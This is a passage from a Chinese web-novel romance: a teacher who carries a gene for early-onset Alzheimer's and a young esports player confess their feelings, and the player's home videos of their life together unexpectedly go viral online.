潭知行深吸一口气,从口袋中拿出手机,调出通话记录,递给于胜看,“半个小时之前,是你打电话给我的吧,通话时长12秒,你看池燃手机里的通话记录,对不对得上。” “我们最近在吵架,他跟我闹脾气,不认我也正常。如果你不放心,可以跟我一起送他回去。” 于胜点亮池燃的手机,却停在解锁那一步。他顿了下,自知没有核实的必要。 “密码是他生日,0216。”潭知行说。 于胜扫了眼潭知行,不得不硬着头皮演下去。他点开通话记录确认,随即把手机按灭,将池燃扶起来。 “池燃,你男朋友来接你了。” 池燃闭着眼睛晃脑袋,“不要!我没有男朋友!没有男朋友!” 潭知行走上台阶,牵住池燃胡乱挥舞的一只手,转头对于胜道,“谢谢,麻烦你了。” 于胜嗯了声起身,神色不太自然,对潭知行道,“等他明天醒了,让他给我回消息。” 潭知行:“好,我会提醒他。” 于胜迈上台阶,走到门前,又不禁回头,看到潭知行代替他的位置,将池燃揽进怀里。心里一阵不是滋味,半晌,才开门进去。 潭知行身上的味道好好闻,池燃靠在他身上,迷迷糊糊地想,无论多少次,无论多生气,他都抗拒不了潭知行靠近。他对潭知行有一种近乎生理性的喜欢。 “喝了多少?还要再坐一会儿吗?”潭知行问。 池燃往他怀里蹭,故意夸大,“很多,好多,特别多。” 潭知行仔细审视了池燃一番,他身上酒味不算重,脸色也还正常,看起来不像喝了很多的样子,怎么会醉得这么厉害? 他迟疑片刻,安抚似的揉了揉池燃头发,“好,你休息一会儿我们再走。” 池燃唔了一声,算是答应。 他等了几秒,半睁开眼睛偷看,见潭知行好像真要让他休息一会儿,没有下一步行动的意思,又把眼睛一闭开始瞎编乱造。 “于胜,于……你给我支烟。”他抬手往潭知行脸上摸。 潭知行反应很快,抓住他的手,“你抽烟了?” 池燃不理他,继续演,“给我,给我烟。” 潭知行心中升起股火气。 池燃才和他分开多久,就学会抽烟了?谁教的?刚才那个于胜?他们关系到底好到什么程度? “……”潭知行手上的力气不自觉加重了些。 “不行,不可以。” 池燃用力甩脱他的手,不满道,“什么不可以!你怎么和潭知行一样烦!” 他挣开潭知行的怀抱,踉踉跄跄几步跑下台阶。 “池燃!”潭知行怕他摔倒,忙起身跟上去扶住他手臂,“别乱跑,我们回家。” 池燃转了个身,背对他在路边蹲下来,赌气似的,“我不,不回家,我再也不要喜欢潭知行了。” 潭知行略有无奈地垂眼看向池燃,他很想就这么直接把池燃扛起来打包扔进车里带走。 但,池燃不想。 思考了两秒,潭知行将池燃的手机从他手里抽出来。 池燃愣了下,抬眼看他,眼神都清明了。 潭知行要干嘛? “你好,是于胜吗?”潭知行拨通电话。 池燃:? 他一个箭步起身,将手机夺了回来,“潭知行你有病吧!” 潭知行也怔了怔,他看向池燃,手停在半空,半晌才放下来。 “你没喝醉。” 池燃按掉通话,抬眼瞪向潭知行,目光中充满怒气。 “你给于胜打电话什么意思!”他快被潭知行气死了,“你不要我了是吗!” 潭知行一阵沉默,“是你……” “是我故意不理你!是我说不喜欢你!然后呢?你就接受了?!”池燃不可置信,说这些话时,眼里渐渐噙泪,“潭知行,你就不难过不生气吗?你真打算放我走?” 潭知行垂下眼,默默握紧手心。 不难过,不生气吗? 这种谎话,他连自己都骗不过。 “潭知行……我不在乎。”池燃声音很轻。 潭知行疑惑地抬眼,听到池燃下一句话时,他整个人完完全全僵在原地。 “我不在乎你十年,二十年之后,还会不会记得我。” “池燃……” “你为什么不告诉我?”池燃颤着声问,“你都没问我一下,问问我怕不怕……” “你怕自己会耽误我,所以拒绝我?你……”池燃哽咽了下,“你到底觉得我对你的感情有多轻?” 真相被揭开的一刻,潭知行大脑一片空白,他的感情无处遁形,他的所有谎言和逃避都变得可笑。 “池燃,我……” “你再敢不承认你喜欢我试试看!”池燃气势很足,“我就这辈子都不见你!” 潭知行的话被吼了回去。 他低垂下眉眼,半晌开口,“我做过基因检测,我携带PSEN2基因,是早发型阿尔兹海默症的高发致病基因,将来有95%的可能……” 他顿了顿,声音有一点抖,“我会病发。” “至于这一天,是哪一天,我也不清楚。早发型的发病年龄多集中于30岁到65岁,我……” 他看向池燃,无奈地笑了,“我已经三十岁了,池燃。” “我不知道我还有多少清醒的时间,每过一天,我都会很庆幸。” “但是你不一样。”潭知行说。 “你刚十八岁,你还有很多选择,可以见各种各样的人,也许……你会遇见比我更合适的人。” 比如,于胜。 更相符的年龄,相同的爱好,梦想,更多的共同话题,更久的时间…… “我承认,我喜欢你。” 潭知行难得柔和地笑了笑,卸下枷锁,坦白的这一刻,他竟觉得格外轻松。 “虽然你的出现,是意外中的意外,但你天真烂漫,可爱,善良,漂亮……偶尔有点小脾气,也脆弱,敏感,这些都很吸引我。” “我没想到我的逃避会让你这么痛苦,我很自责,但是也不知道该怎么办才好,好像进也不是,退也不是。” “抱歉。”潭知行说。 池燃用尽了浑身的力气去握紧拳头,可还是觉得那么无力。 潭知行的一字一句都扎在他心上,潭知行痛苦,他也痛苦,可当感情占了上风,他再也不想听潭知行跟他说这些道理。 他猛地上前一步,揪住潭知行衣领,“什么更合适的人?我已经喜欢你了,潭知行,你听不懂吗?” 他强调道,“已经。” 他直直望进潭知行眼里,再一用力,将潭知行拉近,吻了上去。 “池……” 潭知行的话被池燃的吻堵了回去。 池燃按住潭知行的后颈不让他躲,用了些力气去咬潭知行的唇。 他闭着眼,感受到潭知行轻柔的回吻,欣喜闪过心头,下一秒,却猛地被潭知行推开。 “池燃,够了。” 潭知行感到自己嘴角传来阵痛。 池燃不甘心地抿了抿唇,心里憋着一股火。 “潭知行,你现在跟我说这些,已经晚了。” “你要是不想看到这一天,当初你就不应该带我回家,你应该让我流落街头,让我饿死——” 潭知行用手挡住了池燃的嘴。 “别说这些。” “……”池燃愤愤地看着潭知行,心里似乎有一万个怨气。 他拂开潭知行的手,赌气似的坐到马路边,“我已经喜欢上你了,你逃也逃不掉,我也不可能再喜欢别人,你看着办吧。” 潭知行:“……” 他迟疑半晌,走到池燃面前,蹲了下来。 “池燃。” 池燃捂住耳朵,不肯听他讲话。 潭知行无奈,只得握住池燃的一只手,拽了下来。 “池燃,听我说完。” “我知道你很勇敢,也许你真的不怕未来二三十年面对一个不认识你的陌生人。但是……我会怕。” 潭知行深深缓了口气。 “我父母感情一直很好,他们是自由恋爱,从年少相恋到结婚生子,一切都很好。我妈刚查出来有阿尔兹海默症的那天,家里气氛虽然有紧绷,但我们都还保持乐观。” “直到有一天,她不认得我们了。” “她把我们当成陌生人,是骗子,是坏人。当你看着你深爱的人,用恐惧的眼神看你,那种感觉……其实很绝望。” 渐渐的,潭知行眼里也含了泪。 “我不希望未来的某一天,你也会那么绝望。” 潭知行似在祈求,“所以……我们就到这里,好吗?”—— 作者有话说:小池:[爆哭][爆哭][爆哭] 潭老师:[爆哭][爆哭][爆哭] 作者:你们不要吵了[爆哭][爆哭][爆哭] 第64章 池燃嘴角动了动, 怎么也说不出“好”这个字。 潭知行怕他痛苦,怕他后悔,可他已经回不了头了。 “……不好。”他哽咽道, “潭知行, 一点都不好。” “我会等你,等到……你不再害怕的那一天。” 听潭知行跟他讲那些话,他才明白潭知行到底在怕什么。看过父母的痛苦, 更怕自己重蹈覆辙。 所以潭知行这么多年不谈恋爱,也没有结婚的打算, 就算遇见他,喜欢他,也不敢承认, 那种挣扎,应该很痛吧。 这种情况,任他再怎么逼迫,也没有用。 “就像你说的,我才十八, 我还有很多时间, 我想, 再浪费几年在你身上。”池燃认真地看着潭知行, 眼睛透着光。 潭知行愣了几秒,半晌, 无奈地笑了,“池燃……” 他为什么,就是劝不动池燃呢? 池燃敛下眼睫,勾住潭知行的手指。 “别再跟我讲那些道理了,我都知道。” “我答应你, 如果过了几年,你还是不愿意,我肯定亲自领个又高又帅的男朋友回来,气死你。” “但是现在,你说什么我也不会听,我就是这么固执。” 他看向潭知行,问,“行吗?” 潭知行望着池燃的眼睛,有那么一瞬间的动摇。 池燃说的或许有道理,他们之间的感情已经产生了,他怎么逃避都没用,是不是……应该负起责任来? 可他,真的有可以吗? 各退半步,是如今他们能达成的最好结果。 “说话,潭知行。”池燃怼了他一下。 半晌,潭知行点头答应,“好。” 夜色沉沉,他们各自沉默了一阵,潭知行先向池燃伸出手,“回家吧。” “潭知行,我能再亲你一下吗?”池燃语速很快。 潭知行:“……” 他脸色一变,想起自己嘴角被咬破的痛,脸上顿时热了几分。 “不——” 池燃不听,飞快地在他脸颊上亲了一口,拔腿就跑。 “回家!” 池燃拉开车门,看到副驾驶上放着的花束,愣了一下。 他扭头去问潭知行,“哪儿来的花?” 潭知行走过来,如实道,“给你买的。” “本来打算下午接你的时候给你。” 池燃:“那怎么不给我?” 潭知行略带幽怨地看了池燃一眼。 池燃顿时反应过来,不太好意思地挠了挠脸。 他下午对潭知行的态度像个小火箭炮似的,根本没给潭知行机会。 “好吧。”他说,“那现在给我也一样。” 他让开一步,指指那束花,用眼神示意潭知行。 潭知行反应了两秒,上前弯腰将花束拿起,配合池燃,颇显郑重地将花递给他,“祝贺你梦想成真。” 进了家门,池燃对着一地的礼花碎片疑惑了两秒。 潭知行跟在他身后,关上门,解释道,“韩闻烁为了给你庆功弄的。” 池燃意外地眨眨眼,“给我庆功?” 潭知行嗯了声,“还准备了蛋糕。” 池燃闻言朝屋里张望,“那他人呢?” “走了吧。”潭知行说。 “那我们吃——”池燃抬了下手,朝蛋糕指过去,下一秒,手被潭知行握住,拽去另一个方向。 “等一下。”潭知行说,“给你看个东西。” 池燃不解地跟着他走,“什么啊?” 站到其中一个房间门口,潭知行停了下来。池燃疑惑地看看他,又看看面前的门板,问,“干什么?” “打开门看看。”潭知行说。 “还有惊喜?”池燃半信半疑地将手放在门把上。 推开门的一瞬间,他完全呆在原地。 原本空着的房间被改造成了一间电竞房。宽大的桌子、显示屏、电竞椅、地毯、沙发、零食筐和墙上的挂件,似乎每一处都被精心设计过。 “还算喜欢吗?”潭知行轻声问。 “我不太懂打游戏要用的电脑配置,鼠标键盘什么的,大部分是白骁和韩闻烁挑的,他们说你会喜欢,我就买了。” 池燃一步冲过去端着显示屏上下看,把键盘鼠标和耳机都摸了一遍,回过身时眼里都在冒光。 “特别喜欢。”他高兴地笑,“谢谢。” 他转头去摸墙上洞洞板挂着的枪/械模型,问潭知行,“这些是你买的吗?” 潭知行嗯了一声,“我觉得房间有点单调,就上网搜了搜装修攻略。” “还可以吗?” “特别酷。” 池燃完全没想到潭知行会主动为他做这些。 “嗯”潭知行犹豫了下问,“那,你可以回来住吗?” “我知道你需要训练,现在在家里也可以。”说这话时,他竟有些局促,“是不是能” 池燃闻言回过身,稍有呆愣地看向潭知行。片刻,他笑起来。 “潭知行,你就这么离不开我啊。” 他稍一垫脚坐到桌子上,抱起双臂,“那你说说我不在家的这一个月你是怎么过的?” “说完我考虑一下。” 潭知行:“” 池燃看出他不好意思,瞪着他威胁道,“说啊,不说我现在就走。” “就正常过。”潭知行像是没了办法,不得不坦白,“早起晨练,回来做早饭,上班,下班,加班,回来睡觉,然后重复。” 在遇到池燃之前,他一直过着这样枯燥无味的生活。这种生活,他统称为“正常”。 “不过经常会做两份早饭,晨练回来会下意识想敲你房门叫你起床,逛超市的时候会走到零食区。” 还有很多,池燃带给他的习惯。虽然微小,但却已经渗透在他生活的方方面面。对他来说,正常的反义词,是幸福。 池燃听完,抿了抿唇,垂下眼来。 “行吧。” 他说,“其实我还没想好要不要现在就开始打职业。” “教练说可以等我一年,等我高考完。” “我有点舍不得白骁季明野他们,还有其他几个同学,就剩不到一年了,我想跟他们一起把书读完。” “可以。”潭知行说,“你决定。” “但是我签直播约了。”池燃说,“这一年就算不进队训练,也得按合同直播,还有一些活动什么的,可能也要参加。” “具体怎么安排我再跟教练商量吧。”池燃说了一堆,最后落到重点,“反正,不跟队训练的话,我就可以回来住。” “嗯。”潭知行认真应了一声。 “明天去把我的行李拿回来吧。”池燃说。 潭知行笑了,“好。” “走吧,我们去吃蛋糕。” 池燃刚想蹦下来,动作又突然一顿,嘶了一声。 “怎么了?”潭知行问。 池燃眼睛一转,“我腿疼,潭知行,你抱我过去。” 潭知行很懵很认真,“腿疼?” “怎么会突然腿疼?刚才磕到哪里了吗?” 池燃:“” 不解风情这款是这样的。 他忍了忍,“你别管,就是疼,走不了。” 潭知行:? 反应了几秒,潭知行无奈摇头,不得不提醒他,“池燃,以我们现在的关系,这样好像不合适。” 池燃捂住膝盖,呼天喊地,“哎呀疼死我了。” “谁给我推个轮椅来?腿要断了。” “好想吃蛋糕,有没有人管管?” 潭知行:“” 片刻,他还是选择走过去,没等他反应,池燃就灵活地往他身上一蹦,挂在他脖子上。 潭知行单手托住他,问,“就是这样腿疼的?” 池燃理直气壮地啊了一声。 潭知行抱着他走出房间。蛋糕在厨房,潭知行想把池燃放在餐桌椅子上却遭到反对,池燃拍着他的肩抗议,“不要不要,我要去找蛋糕。” “我给你拿过来。” “不要。” “那你下来自己走。” “腿疼。” 潭知行:“” 他不得已走去厨房,将池燃放在中岛台上。池燃这才松了手,放开他去拆蛋糕。 “还有蜡烛要点吗?”潭知行问。 “算了吧,不用。”池燃盯着他将蛋糕从盒子里拖出来。 就那一刹那,池燃从蛋糕一侧沾了奶油,飞快地在潭知行脸上点了三下。 左脸,右脸,鼻尖。 潭知行:“……” 他无奈,“又来?” 池燃忍不住笑,“你不觉得你这样特别可爱吗?” 潭知行:“……以后我们家不买蛋糕。” 从源头杜绝。 他转身要去拿纸巾,却被池燃用腿夹住。 “你等我拍张照,上次都没拍。”池燃说着,从裤兜里拿出手机。 潭知行不太情愿地别过脸去,又被池燃掰着脸正过来,“来看镜头。” “笑一个。” 潭知行笑不出来。 “笑一下。” 潭知行控制嘴角勉强上扬两个像素点。 “你笑不笑?”池燃挪开手机,突然对潭知行进行物理攻击,挠痒痒。 潭知行终于无语到笑了出来。 池燃满意,接连快速按下拍照键,“很好很好,特别好。” “可以了,别拍了。”潭知行去抢池燃的手机,“好好吃蛋糕。” 池燃一个劲儿地往后躲,“马上马上,再拍几张。” “哎,你别抢!虚了!” 潭知行伸长胳膊,终于抢过手机,同时也把池燃按倒在了台面上。 似乎谁都没预想到这个场面,两人面对面僵住了几秒。 这时,有个声音幽灵般的出现在他们身后。 “你俩……干啥呢?”—— 作者有话说:小池:[奶茶]你不懂,情趣是这样的 潭老师:[化了]有人恃宠而“娇” 第65章 池燃几乎是一秒就将潭知行推了起来。 潭知行也回过身, 脸上一阵红一阵白的。 “哈哈哈哈哈哈哈哈!”韩闻烁没忍住爆发出一声大笑,“潭知行你……哈哈哈哈哈哈哈哈哈哈!” 潭知行:“……” “你怎么没走?” “我没说要走啊。”韩闻烁笑到扶住门框,“我在里面房间睡觉呢。” 他目光在潭知行和池燃之间游移半晌, 突然get到什么, 笑容变得不怀好意起来,“你们……” 潭知行干咳一声,背过身去找纸巾。 韩闻烁胡乱打着手语, 趁机用气音问池燃,“你俩什么情况?在一起啦?” 池燃点点头, 又忙摇头摆手。 韩闻烁:? 他摊开双手问池燃:什么意思? 池燃小小声,“还没,没有, 快了。” 潭知行擦掉脸上的奶油,回过身来,疑惑地看向他们,“……你们在干什么?” 韩闻烁连忙收回手,摸了下鼻子, “没什么。” “那个……我回去了, 你俩继续。”他给池燃递了个眼神。 韩闻烁闪人, 大门关上的一刻, 屋里变得格外安静,弥漫起一点尴尬的氛围。 池燃瞟了眼潭知行, 随即从台面上跳下来,小跑回房间。“我困了!我睡觉!”- 池燃和王闲商量过后,共同决定将他的正式入队时间推迟一年,等他高考完。在这之前,于胜先替他的位置。 “明年我们又有一个主力要退役了, 到时候你回来接他的班。”王闲拍拍他的肩,嘱咐道,“上学期间也不要松懈了啊,周末有时间就来训练。” “放心吧教练。”池燃起身,“那我去拿行李了。” “好好,去吧。” 出了办公室,池燃按下电梯,准备回寝室。没想到电梯门一开,于胜在里面。 “嗯?”池燃惊讶了下,“你这么早就起来了?” 他迈进电梯,“我还以为你们昨天会喝很多,喝到人事不省呢。” “我没有。”于胜说,“不想耽误训练。” 池燃佩服地竖起大拇指。 池燃在三楼下梯,跟于胜挥了挥手,“我拿行李走啦。” 于胜顿了下,挡住电梯门,问,“你不在宿舍住了吗?” 池燃点头,“我今年不在这儿训练,也没有必要住宿舍了,先回家。” “……你和你男朋友,和好了吗?”于胜犹豫着问。 提到这个,池燃灿烂地笑笑,拍了于胜一下,“嗯,多亏你了。” 电梯门关上,于胜有些落寞地靠到一边。 早知道,就不该帮池燃那些莫名其妙的忙。可要是不帮,大概连朋友都没得做。 到头来,池燃对他的喜欢一无所知- 高三的日子过得很快,复习做题模考出成绩,兵荒马乱的每一天都像无限循环。紧绷的学习氛围里,就连白骁都开始老老实实背文言文了,陈一铭课间也很少去打球了。 季明野还是一如既往的年纪第一,大家都学得鼻青脸肿的时候,他和池燃是两个例外。 池燃的升学压力没那么大,潭知行对他也没要求,白天他的重心在学习上,晚上直播和训练,周末有时间就去TJG上下训练强度,过得还算松弛有度。 “我下播啦。”池燃摘掉一侧耳机,鼠标停到结束直播的键上。 看到弹幕一片哀嚎,他补上一句,“今天有点事,差一个小时明天补上。” 他对着摄像头挥手,“拜拜拜拜。” 关掉直播,池燃靠在椅子上长呼口气,松了松手腕。 今天晚上他有点重要安排。 “潭知行?”他轻轻把书房的门推开一个缝,探头进去。 听到声音,潭知行目光从电脑上移开,“嗯?” “你还在忙吗?”池燃倚住门。 “还要一会儿。”潭知行问,“怎么了?” “……想找你看个电影。”池燃说。 潭知行笑了下,推了推眼镜问,“是恐怖片吗?需要我陪?” 池燃脑子转了下,一口应下来,“对!特别恐怖的那种。” 潭知行琢磨两秒,收拾桌上的文件,“好,等我五分钟就来。” 池燃高兴,“好嘞。” 他跑到客厅,拿出两袋薯片扔到茶几上,又去冰箱里拿了罐冰激凌出来,把遥控器放到手边,调到想看的电影,在片头按了暂停。 “我准备好了!”他朝屋里喊,“你忙完就出来!” “好。”潭知行应道。 他关掉电脑,又回了学生一个微信才放下手机走出来。池燃已经准备得很齐全了,看起来是很期待这个电影。 “开始吧。”潭知行同他坐下。 池燃向右看他一眼,命令道,“坐过来点。” “我和你中间是隔了条银河吗?” 潭知行:“……” 从互通心意那天后,他都尽量避免和池燃亲昵接触。毕竟他们现在,无名无分。 但在池燃的要求下,潭知行还是往池燃的方向凑近了点。 一点。 池燃无语,捧着他的冰激凌,一屁股挪到潭知行身旁。 “好了。”他按下播放键。 电影开始,画面上出现沙滩,落日,一派温馨。 潭知行略有疑惑,偏头问池燃,“这是恐怖片吗?” “不是。”池燃一口冰激凌一口薯片地吃,“突然不想看恐怖片了,换了一个。” “嗯。” 随着电影展开,潭知行发现,这是一个有关“失忆”的故事。女主角患有短期记忆丧失症,记忆永远停留在同一天,而男主角却尝试让女主角一遍又一遍的爱上他。 潭知行这才意识到,池燃是有意让他看这个电影的。 “你以为你拖累了我,害我无法拥有快乐的人生,但是你错了,我只有跟你在一起才会快乐……”①电影中,男主角这样向女主角表白。 这一刻,池燃没去看屏幕,而是静静望向潭知行的侧脸。 “潭知行。”他轻轻叫他名字,“我买了个DV。” “嗯?”潭知行朝他看过来。 “我想,记录下我们的每一天。”池燃认真道,“这样,就算以后你不记得了,我也会一遍一遍的,帮你想起来。” 潭知行眉间微动,苦涩和感动同时涌上心头。 “池燃,其实你不用这样。” “我……” 潭知行不知道自己有什么值得池燃这样一而再再而三地坚持。 “潭知行,你管不了我。”池燃似乎是知道他又想说那些拒绝的话,干脆打断他,“我已经决定了,就不会再改。” 他看着潭知行动容的神情,半晌,忽然笑了笑,歪着脑袋凑过去,“潭知行,你现在是不是特别想亲我啊?” 潭知行喉咙上下滚了滚,微偏过头去,“没有。” 池燃眼带笑意,追着他去问,“那你干嘛不看我?” “看电影。”潭知行心头一阵燥热。 池燃又笑了笑,才安分地坐了回去。 逗潭知行,还挺好玩。 DV机到手后,池燃对着说明书研究了一阵,立刻跑去拿潭知行做实验。 他握住DV,对准潭知行的脸,放大再放大,按下开始键。 “潭知行。”他叫了一声。 潭知行正在厨房切彩椒,听到声音抬眼朝他看过来。 镜头完美地捕捉到潭知行脸上每一瞬的表情,从诧异到疑惑,再到无可奈何的笑。 “想干嘛?”潭知行问他。 池燃试着将镜头大小还原,拍到潭知行上半身。 “作为这台DV第一条片子的唯一主人公,你有什么想说的吗?”他语气欢快。 潭知行思索了下,说,“我的荣幸?” 池燃很满意地嗯了一声,“接下来,请你跟着我重复。” “今天是2028年10月23号。” 潭知行搞不懂他想干什么,只得放下手里的刀,双手撑住台面,跟着他重复,“今天是2028年10月23号。” “你现在正在观看的是为潭知行拍摄的第一条视频。”池燃保持着镜头平稳,慢慢走近潭知行,“今天,非常有纪念意义。” 潭知行没去看镜头,而是注视向池燃认真的神色,“你现在正在观看的,是为潭知行拍摄的第一条视频。今天非常有纪念意义。” 池燃定定站到他面前,“以后,我们还会有很多很多这样的瞬间。” “以后我们还会有很多很多这样的瞬间。” 为了让每一条视频都保存得更稳妥一些,池燃固定一周备份一次,还特意用旧手机注册了一个视频平台的账号,把视频传了上去。 因为是秉着存档为主的原则,他没带任何tag,浏览量始终在个位数。池燃也没管,每隔一周就把这周拍的所有视频发上去,也不剪辑,凉凉的,很安心。 这天下午,池燃熬了一个通宵训练,补觉正睡得正香,被一个电话叫醒。 看见是白骁的来电,他迷迷糊糊按开免提,翻了个身把自己用被子蒙住。 “我操!”白骁声音很大很激动,“我在网上刷到你和潭哥的视频了!” “点赞一百多万!你俩火了!” 池燃差一点就又要睡着,大脑自动提取了几个关键字后,他猛地一下从床上坐起来。 “什么?!”—— 作者有话说:小池:[害怕]潭知行我说我不是故意的你信吗[垂耳兔头] ① “你以为你拖累了我,害我无法拥有快乐的人生,但是你错了,我只有跟你在一起才会快乐。”——《初恋50次》 作者还有话要说:这两天app好像有点崩,每次想给老婆们发都发不了啊啊啊可恶 第66章 池燃一瞬清醒过来, 摸过手机来问白骁,“你在哪儿看见的?!” 白骁顿了下,“呃, 就网上啊, 应该是你的账号吧?” 池燃一个翻身下床,从抽屉里翻出来他的旧手机,连忙按了开机。偏偏好死不死手机这会儿没电, 他又慌慌张张拽了根充电线过来。 等手机开机,他点开软件, 屏幕上方突然弹出一连串消息,卡了好一会儿画面才动。 池燃忙点开他的账号主页,一时间有些不敢相信自己的眼睛。 多少?六十三万粉丝? 不是, 池燃一下懵了。 明明前几天这个账号还一点流量都没有呢。他就是做个存档啊。 点赞量最高的那条是他上周发的,池燃点开评论区,随手往下一滑,看见条评论,突然眼前一黑。 【?这不是我们学校的老师吗?】- “卧槽, 你看到那个视频没有?” “哪个哪个?” 女生把手机给身旁的人推过去。 “我靠, 这不是——” “什么情况啊?” “不知道啊, 也是别人发我的。” 潭知行站在讲台上, 对着台下突然四起的一阵窃窃私语疑惑了片刻,敲了敲黑板, “麻烦同学们安静。” 但震慑的效果似乎不佳,潭知行无奈,接着讲了下去。 “谁带耳机了借我一下?” “我这儿有。” “来来来,咱俩一人一个。” 潭知行的声音同时从耳机和讲台上传过来,但两者却很不一样。 “薯片要几个?”视频里, 潭知行回头问掌机的人,对上镜头,表情一下无奈了几分。 “这也要拍?” “嗯。”对方说,“三个,都要原味。” “好了。”潭知行伸手,试图挡住镜头,低声道,“在外面别拍了,大家都在看。” “你害羞啊?”男生笑声很轻快,“没事啊,你长得好看,大家都愿意看。” “卧槽,这还是潭老师吗?”一女生激动地点开评论区。 【老天奶,这是我嗑过的最好嗑的cp】 【什么tag也没带,让我刷到了,什么含金量不多说了吧。】 【这辈子被男同害惨了……】 【这是什么亡夫回忆录视角?】 【太好嗑了,投流了,好东西姐妹一起看。】 “看我开车有那么好玩吗?”潭知行微微侧目。 “我有说你开车很好玩吗?”对方反问。 “你一直在笑。” “……我微笑唇,天生的。” 潭知行笑了笑,“好,你说是就是。” “潭知行!潭知行!潭知行!”男生拉长了声音喊,很快,画面摇到房间门口,潭知行拉开门。 “什么事?” 男生哈哈一笑,“没事,叫叫你,回去吧。” 两秒后,又是一长串“潭知行!潭知行!”,不过这回叫得急促了点。 潭知行拉开门,“怎么?” 男生的手出现在镜头里挥了挥,“没,回去吧。” 潭知行眉间微蹙,“你确定?” “确定确定。” 门刚一虚掩上,“潭知行!” 但下一秒,画面一虚,变黑了,只留下一声慌张的“啊,我错了!” 视频戛然而止。 “我去,对面那人是谁啊?他对象吗?” “谁知道啊,这好像不是我认识的潭老师。” “诶,你们知道Fire是谁吗?” “什么啊?” “我看评论区有人说这个人像一个电竞选手。” “我看看我看看。” 【这个声音……怎么这么像Fire?】 【姐妹,是我想的那个Fire吗?】 【你这么一说我也觉得了。】 【还有那个手,完全就是他吧!】 【我做了对比图,你们看看】 【真的假的???我塌房了?】 “那个Fire的账号是啥?有没有指路的?” “等等等等,我在找。” “你们……”一道不祥的声音从她们头顶传来,“在看什么?” 和潭知行对视视线,几个人瞬间认怂地笑了笑,把手机往他跟前推了下,“老师,我们……在看你啊。” 怎么不算在听课呢?- “说吧,什么事?”潭知行关上办公室的门,换了只手拿手机,听池燃在电话那头一阵支支吾吾的。 “嗯……就是,那个……其实……” 猜到池燃是来坦白的,潭知行一时有点想笑,却还是装模作样地问了句,“又闯什么祸了?” “我那个,我也不是故意的……就是。” “就是什么?”潭知行边翻资料边问,“和同学打架?打碎了东西?还是想说……让我在互联网上社死的事?” 池燃:“嗯???” 他一下结巴,“你,你什么时候知道的?” “半个小时之前。”潭知行说,“上课的时候。” 池燃:“上,上课?” “想体验一下这种感觉吗?你在上课,学生在下面看你的……生活纪录片?”潭知行好一阵措辞。 他顿下动作,轻叹口气,“池燃,托你的福,我多了很多意想不到的瞬间。” 池燃:“……” “那你,感觉好吗?” 潭知行笑了声,“很磨炼心性。” “你什么时候把那些视频发到网上的?怎么不跟我说一声?”潭知行问。 池燃心虚小声道,“我也没想到会火啊。” “我就是发上去做个备份。” 他犹豫了下问,“会影响你工作吗?” “我真不是故意的。” “应该不会。”潭知行说,“最多被议论几天……或者几周。” 池燃:“那你顶住。” 潭知行:“我努力。” 池燃想了想,问他,“那我还能继续发视频吗?” “如果你介意的话,我可以现在就——” “看你。”潭知行打断他,“你决定。” “不过……”潭知行顿了顿。 “什么?” “下次发之前,可不可以检查一下?给我留点面子。” 池燃:“……我努力。” “老师!”何旭这时猛地一下推开门,冲进来,“实验结果出来了!” 听到电话那头的动静,池燃主动道,“你还要忙吧,不跟你说了。” 潭知行应了一声,“嗯,晚上见。” 他挂下电话,看向何旭,“怎么了?” 何旭满面喜色,“老师,实验出结果了,您去看看吧。”- 得到潭知行的准可,池燃琢磨了下,干脆把这周拍的视频也一股脑都发了上去。 其实这么莫名其妙的火了也有火的好处,池燃想着,要是以后潭知行再耍赖,他就要广大网友好好为他评评理。 他刚把视频发上去,过了两秒,再一刷新,评论顿时多了好些。 【啊啊啊啊啊啊奶奶你追的情侣博主更新了!】 【先评再看!】 【辛苦工作一天看到这些是我应得的】 【今日份也好甜好甜好甜,求博主多更!】 池燃趴到床上,随手点开一个视频看。 是这周一晚上的时候拍的。 潭知行在书房工作得特别专注,以至于他悄悄摸摸推开门进去都没察觉。他就把DV放到门口的书架上对准潭知行,然后自己溜出去了。 几分钟后潭知行端着水杯出来倒水,才发现DV的存在。那副诧异又懵逼的表情特别好笑,他现在看到还是想笑。 第二个视频是前天早上,潭知行不知怎么把围裙穿反了,得到他好一阵嘲笑,笑得镜头都歪了好几秒。 【好喜欢这种温馨日常向的记录,看得我心里暖暖的。】 【比那些故意卖腐的不知道好嗑多少倍】 【话说,拍视频的那位不打算露脸吗?】 【就这个真情侣好嗑!】 池燃在床上翻了个面,将手机高高举起来,翻着这些评论看。 他现在越发觉得自己学电影里这样做记录是个明智的决定。人的记忆总会随着时间淡去,但画面却能定格住那些瞬间的幸福,真是再好不过了。 忽然,他盯住一条评论。 【Fire就是你,别藏了】 池燃脸上的笑容瞬间消失。 靠,掉马了- 课间,白骁坐累了,拉着池燃到走廊放风,伸了个懒腰。 “不是我说,你俩那个账号也太火了,连我爸妈都刷到了,他们跑去问潭叔和徐姨,他俩又来问我。” 池燃:? 他震惊,“潭知行爸妈也看到了???” 白骁点头,“是啊。” 池燃:“你怎么不早跟我说?” 白骁:“你也没问啊。” 池燃:“……” 突然有点后悔了,但是已经晚了。 白骁透过后门窗户往班级里看,哪怕课间的十分钟,季明野也不放松,还认真地看书写题。 他叹口气,真怕季明野就这么学傻了。 “再有两周就要跨年了,咱出去玩吧?”他跟池燃提议。 “你不复习了?”池燃问。 “不差这一天了吧,好歹是跨年。”他怼怼池燃,“你把季明野叫上。” 池燃琢磨了下,跨年……他更想和潭知行一起过。 “你别跟我说你现在还不敢约他出去。” 白骁:“……” “我不跟你一起。”池燃笑笑说,“我找潭知行,你知道为什么吗?” 白骁:“为什么?” 池燃朝他摊手,像故意气他似的,“因为我敢。” 池燃在网上做了一堆攻略,选好了一个看起来很不错的空中餐厅,据说跨年当天会放烟花,从那个视角看过去会非常漂亮。 听到门口传来动静,池燃一下从沙发上蹦起来,冲过去,“潭知行!我们跨年出去玩吧!” 潭知行放下公文包,还未反应过来,“跨年?” “嗯!我们先去看电影,然后去一个空中餐厅吃饭,再看烟——” “池燃。”潭知行打断他,面带歉意,“我过几天要出差。”—— 作者有话说:小池:[求你了]真的不行吗?你努力一下[可怜] 潭老师:努力工作[抱拳] 第67章 池燃的兴奋顿时被一盆冷水浇下来。 “出差?”他问, “什么时候?去哪儿?去几天?多久回来?能赶上跨年吗?” 潭知行换下鞋,外衣没脱,往书房的方向走去, 一边回答池燃的问题, “大概这两天就要走,出国一趟,可能要两三周, 什么时候回来还不好说。” 池燃跟着他走到门口,看他打开电脑, 插上个u盘。 “那”池燃有点失落,“你的意思是,跨年可能回不来了?” 潭知行在电脑上点了两下, 把文件拖进u盘里,才抬头看他,应了一声,“嗯,大概率是。” “我”潭知行犹豫了下。 